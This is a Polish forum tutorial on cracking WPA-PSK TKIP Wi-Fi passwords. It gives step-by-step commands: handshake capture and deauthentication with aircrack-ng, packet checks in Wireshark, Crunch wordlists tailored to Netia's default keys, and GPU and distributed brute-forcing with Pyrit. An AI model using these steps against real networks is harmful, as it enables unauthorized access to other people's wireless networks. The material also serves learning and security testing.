23 Listopada 2024 11:38:05
Nawigacja
· Strona Główna
· Forum

· Tomato by Shibby
· FreshTomato


Wątki na forum
Najnowsze dyskusje
· [S] Asus RT-AC56U
· DIR868l OFW asus vs ...
· Szukam zaproszenia n...
· [MOD] FreshTomato-AR...
· Asus RT-AC5300 ,prob...
· archer c6 v3.20
· [S] Nighthawk R7000P...
· [S]Asus RT-AC5300 - ...
· Tanie N100 na promce...
· net z telefonu wifi+...
· Tomato - bugi/proble...
· HUAWEI z światłowodem
· Asus TUF-AX3000_V2 p...
· rt-ax88upro częste ...
· [Howto] Xpenology na...
· Jaki router pod Open...
· Ruter z tomato
· Czy to jeszcze NAS?
· RT AC66U B1
· Wireguard na FreshTo...
Najpopularniejsze obecnie wątki
· Szukam zaproszeni... [19]
· DIR868l OFW asus ... [8]
· [S] Asus RT-AC56U [0]
Ankieta
Jaki procesor posiada twój router?

Broadcom MIPSEL
Broadcom MIPSEL
36% [151 głosów]

Broadcom ARM
Broadcom ARM
52% [219 głosów]

Atheros
Atheros
5% [22 głosów]

Marvell
Marvell
1% [4 głosów]

Ralink
Ralink
1% [3 głosów]

Intel/AMD/VIA
Intel/AMD/VIA
1% [5 głosów]

Żaden z powyższych
Żaden z powyższych
4% [15 głosów]

Ogółem głosów: 419
Musisz zalogować się, aby móc zagłosować.
Rozpoczęto: 02/02/2015 09:38
Twoje IP
3.144.48.72
Zobacz wątek
OpenLinksys » :: PORTAL :: » Tutoriale
 Drukuj wątek
Łamanie zabezpieczeń sieci bezprzewodowych WPA-PSK TKIP
p1vo
Łamanie zabezpieczeń sieci bezprzewodowych WPA

Wstęp:
O ile łamanie kluczy WEP jest stosunkowo popularna czynnością (sporo filmów na ten temat dostępnych jest na YouTube), bo przynoszącą wymierne korzyści - czyt. dostęp do słabo zabezpieczonego łącza, o tyle nie spotkałem się jeszcze z opisem metodologii łamania zabezpieczenia WPA/WPA2 PSK z szyfrowaniem TKIP. W tamtym roku zrobiło sie głośno po udostępnieniu przez 2 Japończyków dokumentacji nt. łamania WPA w 15min, a po udoskonaleniu metody nawet w minutę. Jednak jak się okazało nie chodziło o pełne złamanie zabezpieczenia co zaowocowałoby dostępem do sieci bezprzewodowej ofiary. Panowie, wykorzystując błędy w QoS (czyli router musi mieć włączoną funkcje WMM) wstrzykiwali pakiety do wybranej sieci WLAN (ograniczenie wielkości pakietu to ok 8kB).

Atak słownikowy pozostaje wciąż jedyną metodą (jak na razie) złamania hasła. I właśnie ten temat będę starał się przybliżyć szerszej publiczności.

Ostatnimi czasy powstało dość sporo serwisów umożliwiających złamanie
hasła WPA za niewielką opłatą: http://ph33rbot.com/wpa-password-cracker/ czy opisywany na łamach OpenLinksys: http://www.wpacracker.com/ .
Prawda jest jednak taka, że owe serwisy mają już z góry przygotowane słowniki z najpopularniejszymi hasłami (angielskimi) w routerach, więc szansa, że płacąc za usługę wyrzucimy pieniądze w błoto jest bliska 100%

W internecie znajdziemy też tablice tęczowe przygotowanye specjalnie pod łamanie kluczy WPA, jednak ich skuteczność jest mizerna, a czasochłonność duża.

Dlaczego to jest tak czasochłonne?
Największym problemem przy ataku brut-force jest jak zwykle moc obliczeniowa. Potrzebujemy jej głównie przy dodawaniu do SSID hasha PMK. Na obecnych maszynach wydajność hashowania to około 3000 PMK/s co jest wartością zupełnie niewystarczającą aby w relatywnie krótkim czasie złamać klucz WPA.

Aby zminimalizować czas obliczeń możemy podjąć następujące kroki:
- stworzyć własny słownik, który będzie lepiej dopasowany do naszych potrzeb.
- wykorzystać do obliczeń kartę graficzną, która ma znacznie większą wydajność przy obliczaniu PMK niż sam procesor.
- wykonywać obliczenia na kilkunastu, kilkudziesięciu komputerach na raz - tak zwane Cloud Computing.

Dlatego całym procederem zajmiemy się od podszewki. Sami wygenerujemy odpowiedni słownik, zatrudnimy do obliczeń karty graficzne w komputerze a ostatecznie do obliczeń wykorzystamy kilka komputerów.

By zacząć zabawę potrzebujemy kilku rzeczy:
- najlepiej 100 komputerów wyposażonych w najmocniejsze karty graficzne NVIDI czy AMD.
- Komputerów kontrolowanych przez system Linux
- Handshake'a - czyli przechwyconych odpowiednich pakietów odpowiedzialnych za autoryzacje w sieci WIFI korzystającej z szyfrowania WPA-PSK TKIP.
- Programów: Aircrack-ng, Pyrit, Crunch, Cowpaty (nie jest obowiązkowy), WireShark

Do dzieła:
Na poczatek potrzebujemy przechwycic handshake'a. Do tej czynnosci wykorzystałem router na OpenWrt z zainstalowany Aircrackie'm. Mozna użyc także komputera z zainstalowanym linuxem (np. Slitaz Live CD - ktory ma spatchowane odpowiednio drivery do wstrzykiwania pakietów oraz standardowo zainstalowany pakiet Aircrack - http://download.aircrack-ng.org/slitaz-aircrack-ng-20091124.iso )

W przypadku routera musimy sobie taki pakiet zainstalować sami:

sprawdzamy czy mamy wystarczającą ilość miejsca na routerze

Cytat

df -h


Aircrack-ng potrzebuje ponad 1 MB wolnej przestrzeni.
Instalacja:

Cytat

opkg update
opkg install aircrack-ng


Standardowo przechodzimy w tryb nasłuchu (w zależnosci jakich driverow uzywamy w komendzie nalezy zmienic nazwe interfejsu bezprzewodowego).

Cytat

root@OpenWrt:~# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

eth0.0 no wireless extensions.

eth0.1 no wireless extensions.

br-lan no wireless extensions.

wlan0 IEEE 802.11bg Mode:Managed Access Point: Not-Associated
Tx-Power=0 dBm
RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off


w zaprezentowanym przypadku jest to wlan0 - czyli ten interfejs przełączymy w tryb nasłuchu:

Cytat

airmon-ng stop wlan0

Cytat

root@OpenWrt:~# airmon-ng start wlan0

Interface Chipset Driver
wlan0 Broadcom b43 - [phy0] (monitor mode enabled on mon0)


Czas zacząć przechwytywać pakiety na konkretnym kanale i czekac na handshek'a (kolekcjonowanie handshek'a można przyspieszyć w momencie gdy do AP podpiety jest klient wykorzystując do tego aireplay-ng -0 2 -a MAC_AP -c MAC_CLIENT mon0 )

Cytat

airodump-ng -c 10 --ssid 1A:2B:3C:4D:5E:6F --encrypt WPA -a -w plik mon0


-c - określa kanał nasłuchu (w przypadku niepodania tego parametru radio będzie skakało po kanałach co uniemożliwi nam przechwycenie handsheka)
-a - filtrowanie pokazujące tylko podłączonych klientow.
-w - zapisywanie do pliku
--encrpt - wybór rodzaju szyforwania sieci bezprzewodowej (opcjonalne)
--bbsid - MAC nadajnika w celu filtracji pakietów.


W górnym, prawym rogu w momencie przechwycenia parowania zostanie
wyświetlone :

Cytat

CH 6 ][ Elapsed: 30 s ][ 2010-01-01 12:00 ][ WPA handshake: 00:1A:2B:3C:4D:5E


Aby faktycznie przechwycić cały handshak'e prawdopodobnie będzie trzeba powtorzyć operację (zależne od siły sygnału). Przekonamy się o tym uruchamiając WireShark (dostępny w repozytorium prawie każdego linuxa oraz pod windows).

1. Otwieramy plik z przechwyconym parowaniem:

www.pivo.neostrada.pl/WireShark01-small.png

2. W polu Filters wprowadzamy "EAPOL" (rodzaj pakietu odpowiedzialny za handshake)
3. Sprawdzamy czy są wszystkie 4 pakiety EAPOL jeden po drugim ( nie licząc pakietow potwierdzających sukces transmisji). Transmitowane naprzemiennie raz z jednego (pierwszy pakiet powinien pochodzić z AP) raz z drugiego urządzenia. Dodatkowo pakiety muszą pochodzić z tego samego parowania, czyli musimy sprawdzić jeszcze 3 rzeczy:

www.pivo.neostrada.pl/WireShark02-small.png
- Replay Counter musi mieć tą samą wartość w pakietach (EAPOL) 1 i 2 oraz w 3 i 4

www.pivo.neostrada.pl/WireShark03-small.png
- Nounce musi mieć tą samą wartość w pakietach 1 i 3.
4.
www.pivo.neostrada.pl/WireShark04-small.png

Do wyszukanych pakietów EAPOL musimy dodać pakiet odpowiedzialny za rozgłaszanie SSID (beacon). Istotną sprawą jest aby SN pakietu z SSIDem miało mniejszą wartość od pozostałych pakietów. (na obrazku specjalnie został dobrany zły beacon bo jego wartość to 3268 a powinna być mniejsza niż 1700)
5. Dołączamy 6 (po 2 pakiety na operacjie -klient pyta, a AP odpowiada) pakietów odpowiedzialnych za wyszukiwanie AP (probe), autentykacje (authentycation) i skojarzenie (association).
6.
www.pivo.neostrada.pl/WireShark04-small.png

Na koniec dodajemy pakiety przesyłane już po wymianie kluczy (EAPOL)
i sprawdzamy czy występuje w nich parametr TKIP. (w przykładzie dodałem akurat 2 pakiety, ale nie są wymagane)
Jeżeli w przechwyconych pakietach znaleźliśmy wszystkie wyżej wymienione należy (korzystając z funkcji "mark") zaznaczyć interesujące nas pakiety i zapisać je do nowego pliku.

Gdy już mamy prawidłowy HandShake oraz znamy SSID naszej ofiary możemy przystąpić do dalszych czynności.

Analizujac hasła Netii wiemy, że składają się z 13 znaków (sporo), że występują w nich małe i wielkie litery oraz cyfry - daje to razem 62 znaki.
Dodatkowym założeniem jest, że mamy do czynienia z takimi permutacjami, że te same znaki nie występują obok siebie. Daje to nam
62*(61^12) możliwości. Sprawdzenie ich wszystkich zajmie "kilka" ładnych lat :P. Na potrzeby artykułu ograniczymy generowany słownik tylko do liter, które znajdują się w haśle oraz wszystkich cyfr.

info: Netia zawsze dodaje do swojego SSID 4 ostatnie wartości MAC adresu routera przez co nie można zastosować wcześniej przygotowanego ogólnego słownika (jak to mozna zrobic np z SSID: default, linksys, dlink) z przeliczonymi kluczami PMK.

Instalacja i zastosowanie
Do wygenerowania słownika może posłużyć nam sławny JTR albo mały skrypt Crunch w wersji 1.8 ( http://mac.softpedia.com/get/Utilities/crunch.shtml ). Nie ma sensu zapisywanie wszystkich wartości do pliku, będziemy je zatem wpompowywać bezpośrednio do Pyrit'a (http://code.google.com/p/pyrit/). Do obliczeń można wykorzystać jeszcze CowPatty co pozwoli nam na liczenie bez konieczności zapisywania czegokolwiek. Ma to wady: w momencie przerwania operacji zaczynamy wszystko od nowa oraz nie możemy wykonywać obliczeń w chmurze.

Crunch jest skryptem więc wystarczy, że go wypakujemy.
W przypadku Pyrita sprawa jest bardziej skomplikowana gdyż jest napisany w pythonie, a dostępne są tylko źródła.

Na dobry początek całego procesu instalacji warto się upewnić, że mamy już zainstalowane sterowniki do naszej karty graficznej (instalacja w Ubuntu jest tak prosta jak w Windowsie - dlatego ją pominę)
Aby móc skompilować Pyrita potrzebujemy zainstalować odpowiednie biblioteki oraz kompilator:

Cytat

apt-get update apt-get install subversion gcc-c++ libssl-dev zlib1g-dev python-dev


Pobieramy najnowszą wersję programu:

Cytat

svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit


Wchodzimy do katalogu Pyrit i przystępujemy do kompilacji:

Cytat

python setup.py build

Cytat

sudo python setup.py install


Jeżeli wszystko przebiegnie prawidłowo możemy odpalić Pyrit'a z terminala.
Pozostało nam jeszcze dorzucenie obsługi karty graficznej (w moim przypadku to karty NVIDI).
Ściągamy Cuda-Toolkit ze strony Nvidi http://www.nvidia.com/object/cuda_get.html (wybieramy jako system Linux Ubuntu 9.04) i instalujemy poprzez uruchomienie pliku .run, Wchodzimy do folderu /pyrit/CPyrit-CUDA :

Cytat

python setup.py build

Cytat

sudo python setup.py install


Sprawdzamy czy wszystko działa jak powinno:

Cytat

pyrit list_cores

Cytat

root@OpenWrt:~$ pyrit list_cores
Pyrit 0.2.5-dev (svn r207) (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+


The following cores seem available...
#1: 'CPU-Core (SSE2)'
#2: 'CPU-Core (SSE2)'
#3: 'CPU-Core (SSE2)'
#4: 'CPU-Core (SSE2)'
#5: 'Network-Clients'

Polecenie powinno wylistować dostępne urządzenia, które zostaną wykorzystane do obliczeń (karta graficzna występuje zamiennie z 1 rdzeniem procesora). Sprawdźmy jeszcze czy nie występują błędy przy obliczeniach (zdarza się w przypadku zbyt mocno podkręconego lub niestabilnego sprzętu):

Cytat

pyrit selftest


W końcu mamy zainstalowane i działające wszystkie komponenty i możemy przystąpić do wykonywania obliczeń:

Crunch

Przykładową składnie otrzymamy po odpaleniu skryptu:

Cytat

./crunch


Wyjaśnienie pogrupowania znaków:

Cytat

numbers 0123456789
lowercase abcdefghijklmnopqrstuvwxyz
lowercase + numbers abcdefghijklmnopqrstuvwxyz0123456789
lowercase + numbers + symbols abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/

uppercase ABCDEFGHIJKLMNOPQRSTUVWXYZ
uppercase + numbers ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
uppercase + numbers + symbols ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/

mixcase abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
mixcase + numbers abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
mixcase + numbers + symbols abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/


czyli nas interesuje mixcase+numbers:

Cytat

./crunch 8 16 mixcase+numbers -o wordlist.txt


ale można podać też własne znaki przy generowaniu słownika - następny przykład
Zostanie wygenerowany plik wordlist.txt z wyrazami mającymi minimum 8 i maximum 13 znaków (tych podanych). Mnie interesowało konkretnie coś takiego:

Cytat

./crunch 13 13 abcDEF0123456789 -p


generujemy hasła trzynastoliterowe z wykorzystaniem wymienionych znaków. -p odpowiada za permutacje:

Cytat

./crunch 3 3 abc - dałoby nam 27 wyników (3x3x3):
./crunch 3 3 abc -p - da nam to 6 wyników (3! = 3x2x1) abc, acb, bac, bca, cab, cba


info: zauważcie, że Crunch pozwala na generowanie haseł ze wcześniej określonymi znakami w konkretnym miejscu w haśle.

Pyrit

Najpierw musimy dodać SSID co do którego mamy niecne zamiary:

Cytat

pyrit -e NAZWA -b ADRESMAC create_essid


następnie możemy wydać polecenie:

Cytat

pyrit -e "essid" -i /path/to/wordlist.txt -r /path/to/cap/HandShake attack_batch


W omawianym przypadku całość będzie wyglądała tak:

Cytat

./crunch 13 13 abcDEF0123456789 -p |pyrit -i - import_unique_passwords


pomijamy tu tworzenie słownika - zamiast tego w programie pyrit tworzymy baze danych z przeliczonymi hasłami z hashem PMK (pamiętaj o wprowadzeniu SSID przed tą operacją)

info: nowa opcja import_unique_passwords znacznie przyspiesza dodawanie nowych haseł - nie sprawdza ona czy takie samo hasło występuje już w naszej bazie... co przy generowanym przez nas słowniku nie ma prawa zajść.


Aby rozpocząć liczenie wpisujemy:

Cytat

pyrit -e "NETIA-xxxx" -r /home/HandShake batch


jak wszystko poszło dobrze i mieliśmy wystarczająco cierpliwości to otrzymamy nasz upragniony klucz WPA - np: Da47Fac1527cE


Zdaję sobie sprawę, że być może łatwiej byłoby rozpracować algorytm powstawania haseł na routerach Netii niż złamać takie hasło ( z reguły w tego typu rozwiązaniach na podstawie MAC adresu i Serialu generuje sie hash np. MD5 i jego fragmenty wykorzystuje jako hasło), jednak do tego potrzeba danych z przynajmniej 4-5 routerów. Dodatkowo artykuł miał na celu przybliżyć arkana samej sztuki niż rzeczywiste włamywanie się do sieci bezprzewodowej.

W przypadku gdy mamy kilka komputerów spietych w sieci i chcemy je wykorzystać przy obliczeniach trzeba pyrita uruchomic w roli serwera ( IP: 192.168.0.1) słownika:

Cytat

pyrit relay


Na komputerach klienckich:

Cytat

pyrit serve


Teraz na serwerze należy wyedytować /.pyrit/config dodając klientów w rpc_knownclients =

na końcu uruchomić proces spinający wszystko razem:

Cytat

pyrit -u http://192.168.0.1:17934 batch


oczywiście serwer plików można pominąć gdy baza PMK znajduję się na serwerze głównym

info: aby pyrit działał prawidłowo w roli klienta/serwera nalezy otworzyć port 17934, 17935 (niektore zródła podaja, że 19935 - po prostu otworzyłem wszystkie 3). Dodatkowo wymagany jest minimalny transfer 300kB/s na komputer. Jeżeli łącze nie będzie wyrabiać mogą pojawić sie błędy. Wynika to z faktu, że implementacja obsługi sieci w pyricie jest w fazie alpha.


Pozostaje mi tylko życzyć powodzenia i wielu sukcesów w łamaniu haseł WPA.
Edytowany przez p1vo dnia 22-01-2010 23:52
http://wifia.pl/ - Kraina bezprzewodowo?ci.

/Linksys Wrt54GL - Tomato/TP-Link WR1043ND - OpenWrt/rsPro - OpenWrt/
 
Przejdź do forum
Zaloguj
Wprowadź adres e-mail lub nazwę użytkownika

Hasło



Nie masz jeszcze konta? Zarejestruj się.

Zapomniałeś/aś hasła?
Aktualnie online
· Gości online: 91

· Użytkowników online: 0

· Łącznie użytkowników: 24,115
· Najnowszy użytkownik: Ja
Czat
Musisz się zalogować, aby opublikować wiadomość.

Maniek91PL
06-11-2024 22:37
dzięki !Grin

maxikaaz
29-10-2024 14:27
@Maniek91PL - Administration=> Admin Access, i tam masz "Allow Wireless Access" do zaznaczenia

Maniek91PL
26-10-2024 22:07
siemka! ktoś przypomni co się ustawiało jeśli nie mogę wejść od strony wifi do tomato? od lan działa

overflow2
04-10-2024 17:34
Kupowałem Asusy n10u albo n12d1 ale nie widzę ich, chyba już nie produkują, Chodzi o coś nowego i taniego. Transfery niewielkie.

maxikaaz
04-10-2024 09:38
@overflow2 patrząc po dostępności funkcji w nowych kompilacjach, to chyba nawet WRT54G/GL jeszcze ma OpenVPN, albo jakiś odpowiednik... zależy, na jakie transfery liczysz.

overflow2
30-09-2024 20:53
Jaki aktualnie najtańszy router do tomato do openvpn?

maxikaaz
27-07-2024 15:07
@servee - na początek router do rozebrania i obejrzenia, ciężko wróżyć tak tylko po objawach

maxikaaz
27-07-2024 14:55
@servee - cały kontroler nie pada tak sobie z powodu "zbiegu okoliczności",
więc prawdopodobnie gdzieś przepięcie.

servee
25-07-2024 13:33
@maxikaaz: działało, aż pewnego pięknego dnia przestało działać. W tym dniu była też burza, ale to raczej zbieg okoliczności.

maxikaaz
25-07-2024 11:38
@servee - o ile problem jest w obrębie samych wyjść (dławiki, warystory), to naprawialne, ale jeśli w samym SoC - to nienaprawialne ze względu na koszta. A co było przyczyną?

95,383,892 unikalnych wizyt